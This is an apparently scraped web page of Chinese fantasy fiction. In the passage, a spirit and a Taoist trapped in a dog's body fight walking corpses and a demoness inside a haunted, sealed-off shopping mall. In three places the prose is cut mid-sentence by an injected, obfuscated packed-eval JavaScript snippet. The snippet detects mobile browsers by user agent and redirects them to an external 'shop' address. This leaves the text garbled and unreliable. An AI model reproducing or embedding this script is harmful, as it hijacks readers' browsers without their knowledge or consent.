“我当然睡了,不醉不睡嘛,等我喝完这一口……”徐有明的酒杯边缘还没碰到嘴唇,便被母亲一把夺了过去。 “还喝,还喝,都几点了,赶紧给我上床睡觉去!” 徐太太毫不客气地重击了自己儿子一下,敲了他个眼冒金星。 闻灵看着在餐桌间带着仆人们忙里忙外的徐太太,等了片刻,才等到徐太太把自己叫到一边去说话。 徐太太压低了声音:“闻道长,我实话不瞒您说,我家这情况,有眼睛的人都知道是见鬼了。” “正常人哪里是能吃那么多的,他十天半月的都不见得会吃一粒米,可一到这几天了,就多少会吃点了,到了某个晚上了,那就是要跟今晚一样了,已经好几个月了,都是这样。我真的……我真的要受不了了,都是我不好,如果不是我的话,那个女人也不会来我家了……”徐太太说着,眼底里闪起泪花来。 闻灵连忙安慰起来:“话也不能这么说,毕竟这个世上可是有很多机缘巧合的,您也不能……” “命中注定!”徐太太语气忽然激烈了起来,“我看见那个女人的一瞬间我就知道了。” “那您能和我们……咳咳……和我说说,她和你们是怎么认识的吗?”闻灵问。 徐太太忍住眼泪,深吸一口气道:“我是去我们家那边的商场检查的时候,遇见了她。那个时候,她正一个人闲逛着。我远远地看见她,就知道她漂亮了,我便叫她,说我有个儿子和她差不多岁数,想介绍她们认识一下。” “我小儿子那时候才刚毕业,我就想着大家都是年轻人,认识一下,就算交个朋友。” “说来也奇怪,”徐太太嗤笑一声,“我第一眼见她,不仅是觉得她漂亮,我还觉得她亲切。就像是以前见过一样,可我一个五十多岁的老太婆了,上哪里去见过她一个二十岁出头的小姑娘呢。所以,大概还是上辈子欠下来的债吧。” 徐太太看了眼还坐在餐桌上的小儿子,此刻楼上的女人也下来了。 女人一来,徐有年的脸色便又一下子变得通红,所有的苍白无力都一扫而空,血气充盈着他全身,他甚至忍不住地激烈颤抖起来。 徐太太说:“我欠了的,我的儿子也欠了的,所以事情现在才会这样。不仅家里闹鬼,我们初见的那个商场,自从这个女人来了我家之后,也在闹鬼。” “所以……”徐太太忽然搀住了闻灵的手,要跪下去,闻灵吓了一大跳,连忙要把人扶起来,唐不功也嘴忙脚乱地不知道该用什么去扶人,可徐太太跪得坚决。 “别人都说唐道长是大师的弟子,您能做他的助手,想必也绝非凡辈。还请您之后和唐道长一起,帮帮我吧。不然,我真的不知道该怎么办了……” “当然,当然,我们明天立马就开干。”闻灵嘴上安抚着,手上连忙把人拉起来,“您以后可千万别跪了,要跪着才能求来的,都不是什么好东西。” 闻灵还拍了拍徐太太的膝盖,像是要除去徐家锃亮地板上根本不存在的灰尘一样。 “您先去休息吧,等您一晚上休息好了,明天一早就能看到我们出发去干活,保证给您个满意答复。” “你们明天是要去干什么?能不能带我一个?” “我也要去。” 两道声音,一前一后,分别在他们的左右两边响起。 左边是喝醉了酒还没去睡的徐有明,右边则是牵着一个徐有年的女人。 闻灵:“……” 两辆车在早高峰的时刻,离开了徐家,缓缓驶向徐家的商场。 正放假的日子,徐家开的这本地第二的商场却空无一人。 不仅是因为近来那若有若无的闹鬼传闻,更是因为徐家已经以装修的名义,在这几天内将商场全面封闭了。 经理在门口把所有的钥匙和密码都交给了闻灵之后,便匆匆告辞,只留下几个回眸给这一行人。 闻灵来的路上听旁边这个嘴巴没上锁的徐有明说,之前来的几个道士,法师,轻伤的轻伤,重伤的重伤,除了人没死外,大概什么惨样抬出去的,这经理都见过了。 闻灵掂了掂手里的钥匙,感受了一下分量便随手丢进了背包里。 他回过头了,看了看自己身边的唐不功,唐不功对他的眼神回以一声“汪汪!”(看什么看?) 闻灵满意地点了点头,一妖一人总算有了点心灵上的接触。 他的头回得更后面了一点,便看到了。 徐有明,徐有年,那个目前无名的女人,还有徐有成…… 天呐,这究竟是什么鬼热闹,一家子要来这么多人,除了两个老人家没来,其它的全来了。 捉个鬼而已,有必要开两辆车的人来吗? 而且你们几个会抓鬼吗?哈哈,不好意思,差点忘了,我们这总共也就没几个人。 当然,鬼应该也是没有的。 鬼这种东西,多稀罕呐。 有的话,不会只兴起这一点风浪,徐家作怪的大概都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405213|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精怪。 家里那个已经知道了是什么,商场里的大概和她没什么关系。 毕竟妖怪除了少数几个种族数量多些以外,其它的都是自己修炼成精,相互之间也不讲究什么同族情谊,独来独往的多。 能一起联手干些什么事情的,那怕不是要狼狈为奸了。 闻灵牵着唐不功,走进了商场。 徐家的商场已经开了很多年,随着城市区域的规划,也早已远离了城市最繁华的地带,但徐家仍旧时不时地给商场翻新装修。 因此商场看上去还是那么的整洁明亮。 大家步入商场的地下停车场,又打开一道角落里锁死的铁门,进到了最底下。 最底下在几轮法阵的轰击下,已经变得焦黑一片,难以分辨出本来的样貌,只有那正中间立着的一个井口,还能辨别出大概的轮廓。 唐不功有些难耐地低声吼叫着,闻灵把他抓进了怀里,安抚着。 “这里妖气很重。”唐不功贴在闻灵耳边小声地叫着。 “我知道。” “还有这里很难闻。” 闻灵看了一眼,然后用手虚虚掩住他的狗鼻子:“下次去网上看看,有没有狗口罩卖。” “你们先呆在这里,小心一点。我过去看看。” 闻灵来到井边,探出头去。 唐不功连忙喊道:“别,先拿法器看看,万一又什么……” “有什么?”闻灵打断他,“这里下面看起来什么也没有?你担心我啊?担心我这样冒冒失失的,会被别的妖打飞吗?” “谁担心你了?我是觉得你干活很不专业罢了。”唐不功回道。 “那你也不要小瞧我啊,真打起来了,现在我们谁保护谁还说不定呢。”闻灵颠了颠怀里的唐不功。 唐不功很想回一句,那当然是我保护你了。 但又想到,自己为什么要保护一只妖精。 然后又想到,自己挥舞着狗爪,到底能保护谁…… 他又沉默了。 徐有明这时候也自顾自地凑了过来,笑眯眯地看着闻灵怀里这只刚刚还在小声叫个不停,现在又忽然消停了的小狗。 他顺手就想摸过去,反手就被闻灵挥到了一边去。 “下面情况怎么样?大师?话说那个唐大师这么没来?”徐有明问。 来了来了,现在正想咬你的手呢。 闻灵把唐不功面色不善的狗脸转了个方向,背对着徐有明。 “下面目前还看不出来什么,可能要多观察一下。你先带大家上去吧。”闻灵回道。 徐有明:“上哪去?大家都已经走了啊?” “走了?”闻灵收回探进井口的脑袋回头一看,身后已空无一人。 徐有明:“刚刚就走了,我累了,一顿下,然后又起个身,人就都没了,所以我才过来找你啊。你们难道没发现吗?话说,我们现在该往哪走啊。” 闻灵:“……” 唐不功:“……” 实在是专业上的失误。 但毕竟现在一个人做了狗了,一个妖自称脑袋不好用了,所以是可以理解的吧,没有发现人都不见了…… 可以个鬼啊! 唐不功对闻灵喊着:“我们快点去把他们都找回来啊!” 11. 商场七天乐(一) 闻灵拽着唐不功回到了楼上,徐有明紧随其后。 三人把商场整个扫荡了一遍,却一点其他人的踪迹都没有发现,或者说现在这里一点其他活物的踪迹也没有。 活物活动的细碎声响,再细小的都不存在了,没有飞鸟掠过窗边,没有不知名的小虫子在人类看不到的小角落里爬来爬去。 这里此刻比夜都要死寂。 空气也发生了一些微妙的变化,肉眼可见的变化是空气中出现了一层薄得几乎不可见的白雾,茫茫地笼罩住这栋建筑。 此外的变化,大概只有修士和妖魔鬼怪能察觉得到——空气变得厚重,风与风之间的流动变得迟缓。 闻灵随手推开一层楼的窗户,向外看去。 外头的街景与平时别无二致,只是没有了太阳,也不会有月亮,有的只是介于黑与白之间,灰茫茫的天色。向天边望去,闯入眼眶的也不再是延绵不绝的青山,那里……什么也没有了。 徐有明:“我出去看看吧,你们先在这等我。” “我们和你一起去,”闻灵抱起现在腿短的唐不功,“看现在这样子,手机估计也是不能用了。一起行动,别落单。落单了就不知道会去什么地方了。” “说的也是,死一起也算死得安心了。”徐有明点点头。 “……”闻灵,路都还没上呢,什么死不死的。 顺着青天大道,三人骑着找来的两辆自行车,骑行了大概四十分钟的距离,来到了边界处。 透明的屏障摸起来很柔软,但坚不可摧,这是属于主人的绝对领域。除非杀死界主,或是界主主动放行,否则绝无可能强行突破这层屏障。 徐有明把整只手臂都快塞进去了,屏障也只是凹陷进去了一块之后,便很快回弹。 “哇,真好玩。这东西我还是第一次见。”徐有明说着又把腿往屏障里塞。 唐不功忍不住说:“别玩了,现在是玩的时候吗?我们赶紧去把界主找到,干掉它,我们就能出去了。” 徐有明低下头来看着唐不功,问闻灵:“你家小狗怎么了?是不是吓到了,忽然叫这么多下,说真的,你家狗之前都不叫的,我还以为它哑巴了呢。” “就你话多,你个哑巴。”唐不功毫无攻击力的骂了几句。 闻灵把狗揣回怀里,尽职尽责地替自己家的哑巴小狗传达着旨意。 “别玩了,这有什么好玩的。我们赶紧先干正事。”闻灵大言不惭地说。虽然平时没事在家,他偶尔无聊极了的时候也会这么干。 这可好玩了,整个妖扑上去…… “汪!”唐不功在怀里催促地叫着。 闻灵便又带着徐有明马不停蹄地回了商场。 回来的路上,闻灵察觉到界内的气息变多了,视线也是。 闻灵和徐有明把借来的车放回了原位。 “先别过去,等我拿个东西。” 闻灵从背包里掏出乾坤袋来,掏了掏,掏出一把两寸长的横刀。 刀身细长,刀光雪亮,刀柄镶嵌金银玉饰。料子看得出用的都是上好的料子,但这做工嘛,可就有点不敢恭维了。 不知是年岁久远,还是当初便是如此,金银玉饰表面雕刻的花纹早已磨平,只留下细细的纹路,刀首上玉石雕刻的兽首,更是磕得只剩下一半残身。但从这点残迹推断来看,当初雕的应该也就是一个词——寒碜。 闻灵掏出的这把刀,不能说是威风凛凛,霸气侧漏吧,但至少也能算得上是实用价值拉满。 毕竟人家刀身薄薄得闪着光,一看就是能把妖魔鬼怪劈出血来的。 “我们带着这玩意进去?那我走先还是走后?”徐有明问。 “你随意,”闻灵说着,手又从乾坤袋里掏出两把枪来,“这东西别乱射,射到人了也有用。” “哦,好的,我正好学过一点枪法,应该够用。”徐有明掂了掂手里的枪,又看了看里面装着的子弹。 朱红的特制子弹,刻满了咒文。 徐有明惊叹:“没想到你这小小一个袋子里东西还挺多的。” 他不见外地捏了捏闻灵挂在包边的乾坤袋,大红布上绣了个大牡丹,看上去和普通袋子无异,除了款式实在老套了些外。 “我怎么记得你以前是用戒指装东西的?戒指去哪了?”徐有明问。 闻灵冲唐不功点点头:“他喜欢,给他了。” 闻灵的戒指是他常用的储物器,造型端庄典雅,白银戒环,镶嵌了一颗红血玉而已,除此之外没有别的花纹缀饰。 唐不功出门的时候,死活要带着他的身体一起出门,理由是放在家里怕吓到别人。 闻灵想,你家看起来也不像是随便进人的地方啊。 可千言万语闻灵懒得说,一个戒指而已,给人用用就是了。 闻灵把唐不功的身体收进了戒指里,后面为了保险,也为了让唐不功这个敏感又爱叽歪的安心,闻灵干脆把戒指从手上取了下来,做成吊坠挂在了唐不功脖子上。 闻灵是怎样都无所谓的,唐不功倒是煞有介事地掏出一个乾坤袋来,硬要和闻灵礼尚往来。 “这么丑,我不要!” 闻灵记得自己当时是这样大叫过的。 可唐不功强调:“东西经看的不经用,我这个很好用的,能装很多东西。” “那好吧……” 闻灵转手收拾东西的时候,便把这大红色,绣着粉红牡丹,大片绿叶,周围一圈还绣了金色花纹的乾坤袋丢进了背包的最底层。 此刻为了方便,闻灵的乾坤袋挂到了包外面去,而听到了闻灵的话,唐不功也仰起头来,好让徐有明看到他脖子上挂着的戒指。 血红的宝石在他颈间一闪一闪。 徐有明蹲下来,想要逗逗小狗:“这么好看的戒指就挂在你脖子上了啊。” 手伸出去想要摸摸戒指,唐不功便唯恐被人手碰到一点一般,火速撤离到了闻灵身边。 “你这狗可真见外,别人摸一下都摸不得。”徐有明调侃地看着又被闻灵捧到怀里的唐不功。 闻灵淡然道:“可能他已经对我脱敏了吧。” 闻灵提着刀打头阵,徐有明紧随其后,唐不功断后。 在一楼的XX首饰店附近,传来细碎的响动。 闻灵做手势,示意其他两人和他一起包抄过去。 徐有明意会地比了一个“OK”的手势,随后端起两把枪,大步向前冲去。 闻灵:“……?” 他赶忙带着唐不功追了上去。 形式有变,偷袭改强攻! 唐不功狗脚跑得飞快,很快就冲到了闻灵前面。 闻灵也加紧了步子,可就在这时,闻灵的身后却忽然被人轻轻拽了一下。 闻灵回头,对上了一张来不及刹车的脸。 “鬼啊!”闻灵差点惊叫出声,但好在被人一把捂住脸嘴。 “你是什么人?把他放开。”徐有明的枪口对准了眼前的女人,压低了声音。 一个穿着黑色职业套装,长长的头发卷着大波浪,脚上还踩着高跟鞋的女人对着他们做了一个嘘声的手势,随后她冲几人招着手,示意他们跟着她走。 三人犹豫片刻,还是跟着女人走了。 女人一路带着他们到了地下停车场,找到了一个原先可能被他们忽略了的小门。 女人打开门,把他们留在了门外,进去说了些什么,而后就有一个男人和她一起走了出来。 男人打量了他们片刻,视线在闻灵手中的刀,徐有明手中的枪,还有两人中间的唐不功身上多停留了片刻。 似乎是觉得他们看起来没问题了,男人做了一个“请”的手势,让开身子来让几人进去。 闻灵脚还没伸进去半只。 唐不功就急急忙忙地叫道:“别进去,这门之前……” 闻灵冲他眨了眨眼睛。 两妖一人进了屋里,谁也没想到外面一个人没有,而这不大不小一间房里,倒是挤满了人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405214|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见到有新人来,特别是看到闻灵他们大包小包地提着工具的时候,众人更是有些激动。 “太好了,终于有人来帮我们了。” “我就说,肯定会有人来救我们的,躲在这里准没错。” “是啊是啊,要是像之前那几个出去了,现在肯定就已经没命了。” “……” 众人七嘴八舌地说了好一阵子,直到女人抬手示意大家安静下来。 “大家先待在这里不要动,不然被发现了,可就糟糕了。我们现在来听听这两位……先生是怎么说的?” 几十双眼睛齐刷刷地看向闻灵一行人。 闻灵被看得汗流浃背,脚不自觉地往后退了一步,想要把舞台留给能言善辩的徐有明。 可没想到徐有明竟然也往后退了一步,现在就剩唐不功站在台前。 唐不功疑惑地回头:? 徐有明惊讶地对闻灵说:“我还以为你想说。” “……” 唐不功和徐有明此刻都看着他,其他人自然也跟着一起看向他。 闻灵只好硬着头皮上了。 “那个……大家,我刚刚听到有人说之前有人出去了这个房间,我能问问他们大概长什么样子吗?” 众人又七嘴八舌的说了起来。 “是一个大美女呢……” “一个女的,一个男的。” “穿什么衣服来着?” 一个看起来高中生年龄的女孩沉吟片刻说道:“一对看起来在玩sm的情侣,穿着情侣装。” ……年轻就是眼神好。 就是妹妹啊,他们可不是在玩,他们是真的有病要治啊。 “什么是‘尔丝而木’啊?” 人群里传来好奇的声音。 女孩耐心回答:“就是他们刚刚在这里那样。” 众人发出恍然大悟的声音。 闻灵:“……”你们到底大庭广众之下干了什么啊。 唐不功:“……”恶俗! 徐有明:“哈哈。” “那他们大概是什么时候走的?”闻灵又问。 “半个小时以前吧。”女孩习惯性地抬起手上的腕表,抬起了,才想起来手上的表早就不转了。 女人说:“大家都在这里呆太久了,已经搞不清时间了。” “是啊,我都进来好几天了。” “几天算什么,我都进来好几年了。” “哼,几年算什么,我都记不清自己进来多久了!” “大家安静一点,过会就要到晚上了。” 女人的音量被刻意压低了,但吵闹的人群却全都捕捉到了这一句话,在一瞬间里安静了下来。 闻灵也压低了声音问:“你们这里这么快就到晚上了?” 女人愣了愣:“我也不知道,但你看到那盆盆栽了没有。” 女人指了指门边的那盆绿萝,翠绿的叶子此刻已经腐烂发黑。 “它变成这样了,就说明那些东西来了,那些东西要来了,就说明外面天黑了。” “是吗?”闻灵和唐不功对视一眼,“那我出去看看。” “不可以!” 屋里响起一阵又细又小的惊叫,女人更是直接拉住了闻灵的胳膊。 “不可以,晚上不可以出门,会死的。”女人拖着闻灵,整个身子都在抗拒靠近那扇门。 闻灵拍拍女人的手,让女人松开。 “没事,我进来不就是干这个的吗?不去会会它们,怎么知道该怎么出去。” 徐有明握好枪跃跃欲试,唐不功蓄势待发。 “那我也和你们一起去,这里就先交给你了,阿强。”女人冲刚刚和她一起出去的男人说道,然后又从房间为数不多的柜子里掏出了一把菜刀来。 女人忐忑地握着刀,看向闻灵:“走吗?怎么不走了?” 唐不功对闻灵叫了一声。 闻灵犹豫片刻,还是说了句:“好啊。” 12. 商场七天乐(二) 此刻外头已经天黑了,整个界内的建筑物,只有这位于中心的商场灯火通明,像是一盏明灯,又像是一个活靶子。 闻灵探出脑袋查看了一下外面的情形:“安全,大家跟紧了。” “带着这么多人出去真的没问题吗?”唐不功凑到闻灵耳边问。 闻灵也凑到唐不功耳边,掀起他的耳朵回答:“我们有合适的选择吗?” 唐不功回头看了眼身后跟着的陈琳,还有那个张三。 先前临走的时候,只说过两句话的女高中生忽然冒出来说,她也要加入,并自我介绍叫“张三”。 闻灵刚想开口商量一下,便看到徐有明递给张三一把枪。 “张三?张三你好,我是李四,幸会。”两人郑重地握了握手。 徐有明转过头来看着闻灵:“她和我们一起吧。” 徐有明又朝闻灵煞有介事地眨了眨眼睛,传达着某些只可意会不可言传的信息。 行吧,反正枪都给了,人跟着他们说不定也更安全些。 一行人贴着角落,在商场里四处游荡。 夜晚的商场看起来和白天并无任何区别,只是那层浅淡的白雾散去了,只余下商场内璀璨明亮的灯火。 闻灵和唐不功走在前头。 唐不功嗅了嗅:“徐有年他们好像在这附近,另外这里好像有什么东西,好臭。” 闻灵:“你又头痛犯恶心了?要不要我抱着你过去?” 唐不功小爪子把地板敲得哒哒作响:“不用,我带你们过去。” 闻灵好心说:“别硬撑啊,我带你过去也就几步路的事情。” 唐不功不理不睬,只是卯足了劲,一跃上了四五阶台阶。 唐不功的头贴在地上,一路嗅了过去,几人紧随其后去了二楼。 在进了狗的身体之后,唐不功便觉得再细小的气味也逃不过他的鼻子了。以往无形的气味,也变成了有形的丝线,脉络清晰地呈现在他的鼻子前。 无论距离远近,还是物体大小,他都一清二楚。 就比如说现在。 “小心!”唐不功大喊一声。 一颗人头以极快的速度闪现到了众人面前。 陈琳离得最近,躲闪不及,只能大叫一声,挥舞着菜刀,一脚踢飞了人头。 人头咕噜咕噜滚到了一边,滚出了一地碎屑。 人头已经干瘪腐烂,一双眼睛只剩下黑漆漆的两个洞,剩下的一点皮肉要掉不掉地艰难挂在骨头上,此刻被人丢过来,又一脚踢飞。自然是雪上加霜,离灰飞烟灭,大概只差被人挫骨扬灰。 陈琳惊恐地看着地上的人头,手里紧握着刀把:“就是这个东西!之前我们的人去找吃的,就是被这个东西给杀了!” 闻灵拿刀尖碰了碰,人头立马活动着上下两排大白牙,要来追着他咬。 徐有明一枪轰碎了头颅,头骨碎成一小片一小片,但还在动,一块一块地蹦哒着。 张三找到一个扫把来把活蹦乱跳的骨头渣都扫到了楼下去。 徐有明问:“这是什么东西?僵尸吗?” “差不多吧,”闻灵拿起一小块残留的骨头渣,“看起来已经死了很久了,一点神智都没了。” 闻灵又问陈琳:“你们每天晚上都能见到多少个这种东西。” “之前都是一大群出现的,不过今天不知道为什么……”陈琳环顾四周,“看起来像是全都消失了一样。” 轰隆—— 楼上忽然传来一声巨响,似有墙壁倒塌,凌乱的脚步声紧接着响起。 陈琳把刀尖对准楼上:“是它们!是它们来了!” 闻灵将众人护在身后,唐不功在闻灵身边对着前方的扶梯口呲牙裂嘴,喉咙里发出低吼。 众人都举起武器,严阵以待,可谁知楼上却忽然又传来了一阵巨响。 商场三楼的围栏破裂,大量的死尸从缺口涌出,黑色瀑布一般,落入了一楼。 死尸们吱哇乱叫地飞到了地上,身子骨年久失修,一碰地,各个零件便就四处飞溅,七零八落。 死尸们赶忙扯着不知道是哪位亲朋好友的残肢断臂安在自己身上,艰难立起来之后,便就黑色潮水一般,争前恐后,一个踩着一个地往楼上冲来。 “往楼上去!”闻灵大吼一声。 众人一到楼上,便发现楼上的死尸差不多已经被灭了个干净,挫骨扬灰了。 死尸灰后面走出来个灰头土脸的徐有成,徐有成手上拿着个顶上绑了菜刀的长棍。 徐有明见到亲哥,赶忙上前去:“哥,你怎么样了?” 徐有成摇摇头,徐有明还想再问些什么。 唐不功却火急火燎地冲到旁边:“别聊天了!先找个安全地方再说。” 可惜除了闻灵外没有谁听懂他的狗叫,而且身后一只死尸也没有追上来。 张三招呼大家往楼下看:“你们来看看,楼下那个是不是你们认识的?” 楼下,徐有年正一脸麻木地站在一堆死尸中间,而和他穿着情侣装的女人则在另一边大杀四方。 徐有成:“她简直就是个战神。” 只见那女人手里拿着一把菜刀,和陈琳手中的似是超市同款,一把菜刀在她手中被使出了神兵利器的效果。 神挡杀神,佛挡杀佛,无一走尸,近得了她的身。 “你们之前是去哪里了?”徐有明问道。 徐有成指来指旁边那个大洞:“我们刚从那里出来,那里什么也没有,只有一堆会动的尸体。她之前带着我们进去,说是里面有地方可以出去。可一进去就是和僵尸打架,一直打到刚刚出来。” “里面全是僵尸,那这里怎么才这么一点?” 徐有明话音刚落,几只死尸便从那窟窿里探出脑袋来。 见到闻灵他们了,更是发了疯一般地涌来出来,洞口都被他们挤得更大了一些。 闻灵:“大家拿好武器,往楼上跑!” 商场内一时间挤满了声带早已腐烂的走尸们,仿佛从灵魂深处发出的嘶吼声。 几声枪声响起,但在这样的尸潮面前也只是杯水车薪。 唐不功追着闻灵:“你别跑啊!拿着刀砍过去啊!” 闻灵抬手使了些法术,飞沙走石,阻挡了一些走尸。 唐不功回头看: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405215|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你整这么点石头有屁用啊!有什么招快点都用出来!” 一个走尸冲过来,一挥手,差点抓住唐不功的大尾巴。 唐不功吓了一激灵,闻灵赶紧把狗捞起来,夹在怀里。 “我也想啊,可是我就只会这么多啊。”闻灵撒开腿,有些崩溃地喊道。 唐不功:“那你还断后?” 闻灵:“那要不我变成原型?这样说不定还有用些。” 闻灵说着就要把身上的东西都甩到一边去,好方便他化出原型。 唐不功急道:“你敢把我的刀丢出去试试?放我下来,把我包给我,你先挡一会。” “那你快点啊!” 闻灵一甩手,便把唐不功和背包甩向身后。 他回身抬手,横刀一挡,挡住了一只正要扑上来的走尸。 走尸冲闻灵张开一眼望得到颈椎骨的大嘴,腐烂的皮肉混合着湿润的泥沙落到了闻灵手上。 闻灵忍着恶心,操控着飞石,打飞了走尸。 “唐不功,你真的快一点啊!” 唐不功扯开背包,把里头的朱砂,毛笔,符纸统统都扯了出来,铺在地上,而后他又从戒指里把自己的身体给放了出来。 闻灵余光看见唐不功的动作,大概猜到了此人准备干什么。 他连忙说:“唐不功,你别乱来啊,我变个原形的事,我肯定把你刀好好带上。你可千万别乱来啊!” “我心里有数,你先干你的吧。有你那么使刀的吗?拿刀砍啊!拍什么拍!” “啊啊啊!我不会啊,唐不功你不要干傻事啊!万一出了差错,你的魂魄可就不知道去哪了啊!” “呜……我知……呜……道。” 唐不功拿嘴叼着笔,在黄色的符纸上,用朱砂画起了符咒来。 “唐不功……你快一点……” 现在叫这么大声,还白泽呢,每天坐在家里一副高深莫测的样子,原来是只喜欢装逼。 还差最后一点。 唐不功用牙齿咬破了自己身体的手指,将血滴粘在了两张符咒的背面,而后贴在了自己和大黄的身体上。 他调动此刻在大黄身体里,灵力微弱的流动。 拜托啊,一定要能行啊。 唐不功在心里默念,他感觉大黄的身体正在冒出细密的汗珠。 一定……一定……要能行啊…… “唐不功,我快要撑不住了……” 猛然间,唐不功躺在地上的身体睁开双眼。 “见雪!来!” 地动山摇,闻灵化作原型,一个摆尾扫走了一片走尸。 见雪飞入唐不功手中,眨眼间,其周边走尸便都化作了齑粉,风一吹,便都散了。 “哇!”闻灵看着现在大脑门上贴了个黄符纸的唐不功,由衷地赞叹,“你现在看起来好像那什么电视上的魔法少女变身啊。” “……”唐不功挥去刀上的尘灰,“住嘴。” 徐有明的声音从楼上传来。 “你们二位这是演哪出啊?” 五六双眼睛从楼上往下看着他们,徐有年身边的女人看着他们,似笑非笑。 13. 商场七天乐(三) 外头的尸潮汹涌了一阵子,便被闻灵和唐不功差不多灭了个干净。 二楼破开的洞口目前看起来也没有新的走尸爬出,并且黑洞正在不断地缩小。 闻灵化作人形,和唐不功一起走到洞口旁,朝里头望了望。 黑漆漆的一片混沌,只是偶尔会有红光在其间闪过,看得并不真切。 闻灵眯起眼睛来,想要再仔细看看,因为他觉得那红光的样子,看起来很像劈到唐不功身上的红色闪电。 唐不功看着闻灵越凑越近的身体,连忙一把扯住他的衣服后领,无奈地说:“再走近点,你就要摔进去了。你摔进去了,我可就不管你了。” 闻灵无所谓地说:“这不是有你拉着我嘛。” 唐不功叹气,看了眼这四周已经四分五裂,支离破碎的墙壁和地砖,“先上楼去吧。” 走到楼上,除了徐家那几位之外,陈琳和张三看到他们俱是一脸震惊,特别是看到闻灵走上前来。两人更是面带惧色地往后退了几步。 “怎么了?”闻灵笑嘻嘻地问。 陈琳抬头看了眼闻灵,便又很快低下头去,生怕冒犯到闻灵似的,支支吾吾地说道:“你……你是……妖怪。” 闻灵坦坦荡荡:“是啊,怎么了?怕了吗?” 陈琳扯出笑容来:“怎么会……” “怕,”张三在一旁接过话头,“不管是谁见到一个两层楼高的猛兽,也都是会害怕的吧。” 闻灵点点头:“说的有道理,但我不吃人的,放心吧。” 闻灵转过身来,对着徐家那几位问道:“你们在那边看到了出口吗?” “那边有一个井口一样的东西,似乎就是我们一开始在地下室看到的那个,”徐有成苦笑一声,“不过根本过不去那边,里面的僵尸感觉比蚊子都还要多。” 徐有明:“那我们要怎么办?只能杀过去吗?除了这个,没有别的办法了吗?” “那个井口是唯一的出口,界主就在那里面,不管是和他商量商量,还是杀了他也好,总是有办法出去的。” 徐有年旁边的女人说着话,手便搂住了徐有年,样子像是要把徐有年揉进自己的身体里,说出来的话也是缠缠绵绵,情深意切。 她握紧了徐有年的手,放在自己心口,热切地提议:“亲爱的,让我现在就吃了你吧。吃了你,我就有力气了,我带着你,我们一起杀出去,好不好啊?我的宝贝。” 她捧着徐有年的脸亲了亲,而徐有年不知道是激动的,还是怕的,苍白的脸上泛着一阵阵红晕,颤抖着身子,一副说不话来的样子。 “亲爱的,你不说话的话,我就当你默认了。”女人贴在徐有年耳边说话,手掀开徐有年的衣服下摆,摸了进去。 徐有明:“……哎哎哎,大庭广众的,你这是要对我弟弟干什么呢?快把你手拿出来。” 唐不功忍了这许多天,已是忍无可忍,抬手就是一刀劈了过去,怒气冲冲地喊道:“妖孽!拿命来!” 刀气浩荡,霎时间便在楼体上又劈开了一个数十厘米的裂缝,商场大楼轰隆一声,往下沉了沉。 闻灵连忙用法术巩固住这摇摇欲坠的七层大楼,朝唐不功喊道:“你悠着点啊!打坏了,这楼可就塌没了。” “没事,马上就到时间了。这个地方七天便会刷新一次,所有的东西都会恢复如初。”张三此时在一旁说道。 “是吗?那我们可得抓紧时间了,”闻灵瞄了眼楼下正在不断愈合的黑洞,“唐不功,速战速决!” “知道了。” 唐不功凌于半空之中,脚踏剑阵,功体运转,道家清辉圣气,威严不可侵犯。 霎时间,在场的几只妖,或多或少地都感到胸口一阵闷痛,徐有明更是脸色苍白地捂住了胸口,往后退了几步。 徐有成捕捉到弟弟的神情,连忙问:“你怎么了?是伤到哪了吗?让我看看。” “没事,”徐有明面上扯出笑脸来,不动声色地躲开哥哥的手,“之前摔到地上了一下,现在这地动山摇,起起伏伏的,晃到了一下,小问题,没事。” 徐有明说着话,便把手放了下来,藏在身后,死死握住了拳,指甲都快嵌进了肉里,但面上还要强撑着一副没事人的样子。 徐有成还想再说些什么,头顶上便传来了声音。 “你们这一家人也真是奇怪,明明家里已经有一只妖了,多我一只又何妨呢?”女人搂着徐有年笑嘻嘻地坐在顶楼的围栏上,“怎么都只不喜欢我?” “你杀人害命,怎能容得下你这个妖孽。”女人话音未落,唐不功便已是一刀劈来。 女人拎着徐有年,轻飘飘地躲开,落在了商场的另一头。 女人抱怨着:“这位大人果真是个烈性子,只是没想到话没说上几句,就动上手了。这让我怎么来得及和两位大人讲清来龙去脉呢?” “哦?”闻灵轻笑两声,“你是有什么冤屈要说的吗?” “大人贵人多忘事啊,我和大人可是见过面的。”女人看着闻灵笑。 “是吗?”闻灵看着女人的脸,追忆了片刻,“几面之缘,实在是想不起来了,抱歉。或者你愿意的话,把你的名字说出来听听,说不定我还能想起来些。” 唐不功在一旁早已等得不耐烦,此刻看两个人追忆往昔的叙旧架势,更是火上浇油。 “你和她扯这些干什么?我一刀劈过去,管你姓甚名谁!” 